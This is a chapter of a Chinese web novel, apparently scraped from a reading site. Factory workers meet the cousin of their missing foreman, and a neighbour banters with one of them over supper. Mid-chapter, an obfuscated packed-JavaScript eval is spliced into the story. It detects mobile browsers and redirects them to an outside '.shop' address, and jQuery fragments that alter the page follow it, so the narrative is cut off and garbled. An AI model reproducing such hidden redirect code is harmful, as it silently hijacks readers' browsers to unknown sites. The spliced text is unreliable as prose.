默认冷灰
24号文字
方正启体

17. 兄弟

作者:泉起本书字数:K更新时间:
    热闹的产业城最不缺的是螺丝疙瘩,其次就是人,哪怕某天集中缺上百十来号人压根儿也不够看,但这范围缩小一点,缩小到宏青工厂里,简直不给人留活路。


    天气一天比一天热,产业城又是个人流车流聚集地,挤的空气里一丁点儿凉气儿都不剩,工业大风扇呼呼地吹着,吵的跟人说话都得用吼的。


    啪嗒一声,冯格格把套好的磨具往筐里一扔,长吁短叹:“姜头是另起锅灶了?原来没觉得,这几天怎么这么累。”


    “格格,是姜头儿,不是姜头。”郑滨拖了一只筐到跟前,直接坐在那堆零件上,“来这儿这么多年了,你那口音是一点儿长进都没有。”


    “哎呀,就不要总是挑我口音了。”格格也歪那儿坐着了,“这些天忙的,我老婆带回去的饭都要闷坏了。”


    车床加工这块儿就这四个人,冯格格是这几个里唯一一个南方人,儿话音就是学不会,他老婆跟他一个地方的,在附近工地食堂给人打饭,到晚上下班,别人都得现做饭,格格托他老婆的福,回家就能吃现成的。


    “别说你的饭馊了,姜头儿再不回来,咱哥儿几个就得馊了。”郑滨拎着领口吹风,“我说吴儿,你不累啊,你长八只手今儿也弄不完,歇歇吧啊。”


    四个搭班干活的里头,也就郑滨跟他年龄差不多,嘴也特碎,有时长毛儿闲的来这边儿晃悠,他俩能嘻嘻哈哈唠半天。


    “把这一袋装完就撤吧。”吴绰踢了踢他的脚,“起开点。”


    郑滨往后一仰,整个人直接躺筐里了:“别了吧,你就不累啊,这都快八点了,咱这几天七点可就来了。”


    可不是么,这几天算是闷车间里头了,要说也不能全怪姜头儿,他在的时候真没什么事,刚一走,那急的跟要催命似的活全来了。


    宏青一年到头也没几个忙的要死要活的单子,前两天大伙儿不适应,尤其是格格,小个儿不大点,累的脸都白了。


    “这帮大老板真他妈的事儿多,就这么个破玩意,”郑滨举着手里的异形件,“非得套个塑封膜,弄这么干净,他是要吃还是要炖呐!”


    “小郑,你说话好有意思,”格格两条腿盘在筐沿儿上,左手零件右手袋,配合着装的还挺快,“反正老板说了,这几月看情况给咱们多发点,你好好挣钱,攒点老婆本还不好?”


    “格格哟,快别说了,”郑滨把装好的零件砸的噹噹响,“我老婆本要靠这个攒,得从您那个王朝开始攒。”


    郑滨这小子挺坏,他比冯格格来的晚,头天到这儿,姜头儿带着他认老员工,刚介绍到冯师傅,这小子嘻嘻一乐,给人鞠躬作揖,道了声格格吉祥。


    冯格格人不错,贴心靠谱大老哥的角色,但又跟这帮人不一样,人家颇具浪漫情调,一个月必须休息个两天,带着老婆过过二人世界。


    “攒多攒少都是要攒的,”格格苦口婆心,“钱一年比一年难挣,好好干活嘛。”


    “得,我遵命就是了,”郑滨把短袖往上硬撸,“挣钱!”


    说着闹着不到一小时就弄完了,关了大门几个人往外走。


    过了高峰期那个时间,将近九点的产业城大部分都结束工作了,马路两旁的路灯长期挨各种货车的尾气,光线永远是灰蒙蒙的状态。


    郑滨从兜里摸出一根棒棒糖扔给小满,又问吴绰:“姜头儿到底干嘛去了?这几天发微信也不回,不会有什么事儿吧,这都大半个月了。”


    “打他电话也不接。”吴绰看了眼手机,两天前给姜头儿发的消息也没回,“不知道,明天我再打一个。”


    “这一天啊,骑车骑车回家!”郑滨拉着长音。


    格格很乐观:“走了走了,明天继续!”


    车棚就在一边,几个人的两轮代步爱车就在里头放着,刚走到跟前儿,吴绰看到有一个人杵在铁柱子旁边四处张望着。


    社会进步了,互联网发达了,车棚乃财务重地,监控那是必不可少的,除非这位脑子跟吴满一样,否则绝不会染指他们的爱车一分。


    “几位师傅您好。”铁柱子旁的那位走过来几步。


    哟,还挺客气。


    郑滨离得近,先几人开口了:“叫我们?”


    “嗯,”那人微微鞠了下身,“您都是在这里上班的吧?我想找个人。”


    郑滨上下看了看他:“找人还是找货?”


    生客一般就这样,要想什么零件了,但又不认识人,也不怕被人宰,就这么满大街问。


    “我只找人。”


    “找谁啊?”郑滨又说,“叫什么?不确定认不认识啊。”


    “姜元钊,三十七岁,大概....”那人顿了下,比着自己的身高,“大概比我高五六公分。”


    虽然在产业城混了好多年,不能说全都认识,但认识个一多半还是有的,姜元钊这个名字不仅吴绰没听过,郑滨也跟他摇了摇头:“不认识。”


    “哦!”那人又说,“他好像在一个叫什么...宏青五金加工还是配件工厂上班,你们听过吗?”


    几人互相看了眼。


    何止认识听过啊,哥儿几个还没换工作服,宏青五金这几个字还在衣服上印着呢。


    “咱老板开分店了?”冯格格小声叨咕,“还是重名了呀?”


    “诶!”郑滨惊呼一声,小声说,“不能是......姜头儿吧?”


    吴绰忽地看向对方,那人比他矮一些,很瘦,脸上一股病态的白,不过眼神儿挺和善。


    “你是他什么人?”吴绰又说,“我们这儿是有个人姓姜,但不确定是不是你要找的人。”


    “我姓邵,单名一个嘉字,是姜元钊表弟,”邵嘉说着打开手机,“我这里有他照片,麻烦你们看下是不是。”


    邵嘉的手机屏幕看着比路灯还亮,这哥儿仨全都凑了过去,盯着手机看了好一阵,抬头对视,都从对方的眼神里看出一点不可思议的神奇。


    手机里是一张合照,一个是邵嘉,一个是‘面目全非’的姜头儿。


    现在的姜头儿胡子拉碴不修边幅,搓牙放屁那都是常事儿,但手机里的姜头儿....白衬衣牛仔裤,头发蓬松眼神清亮,简直年轻干净的让人不敢认。


    “虽然很难令人接受,”郑滨说,“但.....的的确确,是他妈同一个人....”


    “那太好了!”邵嘉往他们过来的方向张望,“他在哪儿?”


    “别看了。”吴绰说,“他说家里有事,休假了。”


    邵嘉失望地哦了一声:“那他什么时候来?”


    “不确定。”吴绰又问,“你是他表弟,没有他联系方式吗?”


    “有。”邵嘉不好意思地笑了笑,“但是他一直不接电话,我就来这里蹲他了。”


    或许是邵嘉跟这里格格不入的气质,低落的表情很能激起别人的帮扶之情,不过多想一份,吴绰觉着这位表弟的来访好像没那么简单。


    姜头儿不跟格格一样是南方人,但也不是五金城这边儿的,老家在哪儿谁都不知道,所以最可能想到的就是家庭矛盾了。


    有动脑子想的,就有凭一腔热血解决的,郑滨一马当先地伸出援助之手:“我知道他租房那边,但是我前两天路过他家一直锁着门,我估计啊他是回老家了,要不我带你再过去看看?”


    吴绰:脑子不用给吴满!


    “好啊,”邵嘉激动地就差双手合十了,“太谢谢了!”


    分开之后各回各家,顺利的话从产业城到家也就十五分钟左右的路程


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024029|194304||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,吴绰一路上电门扭到底,耳朵上挂着耳机,单手把控着车把,一道儿上给姜头儿打了好几回电话。


    共事好几年,才知道姜-元钊-头儿的大名,就能知道感情还没那么到位,吴绰这一通电话打的那叫一个热火朝天,但那头儿的电话好像丢了,愣是没人接。


    吴绰犹豫了片刻,一捏刹车,吴满一下撞他后背上,吴绰也没功夫回头瞅,找出姜头儿的聊天框,发了条:[邵嘉,你表弟。]


    好了,家庭矛盾就让他们自己人解决吧。


    进了十二巷,外面的路灯照不进来,周围的光线一下暗了许多,不过走到自家大门口,光线逐渐就亮上了。


    “又这么晚?”李虞拎着条毛巾正好从屋里出来。


    对面院子很干净,灰色的地板在月色下显得很亮,挂在屋檐下那盏昏黄的灯看着有那么点温馨的感觉。


    看一个院子从荒废到整洁其实心里的感觉还是挺敞亮的,原来一开门就是满院子杂草,现在......能看到一张不爽且英俊的脸。


    这几天忙的厉害,碰上面的时间基本也就晚上这个时间,次数多了,吴绰发现李虞除了言辞行为非常文明有水准,长的帅是帅,但给人的感觉可不是那么平易近人。


    亮盈盈的眼神儿里偶尔会带点不耐烦的意思,瞥眼看人时眼角会带起一抹浓郁而又锋利的弧度,搁文化人嘴里,这叫桀骜不驯。


    “最近忙,”吴绰又问,“你吃饭了吗?”


    李虞挥挥手里的东西:“毛巾,牙刷,你说我吃没吃。”


    吴绰刚嗯一声,后座的吴满口齿不清地yuyuyu叫了几下,接着就奔yu过去了。


    “小心点,”李虞差点儿被撞地下,笑着躲开小满,“你人来疯啊?”


    不,是你来疯,吴绰就想不通了,为什么吴满每次看见李虞都跟猫闻见了猫薄荷似的兴奋。


    “你们是不是没吃呢?”李虞蹲在水管下洗着脸,“对了,我刚出去过一趟,见你家门口好像有东西,闻着还挺香。”


    吴绰看过去,家门口的角落里放着鼓鼓囊囊一包东西,外面用白色的布包着,从形状上看应该是包子。


    “又是你那俩兄弟投喂的吗?”李虞又刷上牙了,“他俩行啊,你这阵子忙的飞起,他俩还能隔三差五地给你送饭。”


    天黑了,脑神经可能也要赶着就寝了,李虞也不想想,他那俩兄弟,一个长期串房顶,一个有自己家钥匙,要是送东西,至于就给扔门口?


    吴绰没吱声,往巷口的方向看了眼,随后走到李虞家那扇铁栅栏门边儿冲他诶了声。


    李虞看过来,咬着牙刷:“诶什么诶?”


    “你要不要跟我也论论兄弟。”吴绰倚在墙边。


    李虞听的直乐:“你有屁就放啊。”


    “帮我买份鸡蛋汤去吧,”吴绰掏出手机,“累的走不动道儿,也不想做了,要是没鸡蛋汤粥也行,我就着包子吃。”


    “别鸡蛋汤了,就粥吧,”李虞漱完口,冲了几下手站起来,“刚好我爸今天熬的绿豆粥,还有不少呢,介意吗?”


    “感谢李叔哥!”吴绰瞎喊一声。


    “别叫了,我爸睡了。”李虞微微抬了抬下巴,“去拿碗来盛。”


    吴绰直起身子,转身走了两步忽然又慢悠悠地退到了原位:“那个.....”


    李虞:“我家就俩碗。”


    吴绰:“不是,我是说.....”


    “不介意也不行,我有洁癖。”李虞一脸愤然,誓要守护自己的饭碗。


    “我是说!”吴绰声音大了点,等李虞不接着护碗之后,他点了点自己的唇角,“你嘴上的牙膏沫没冲干净。”


    李虞一呆。


    我用你说!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)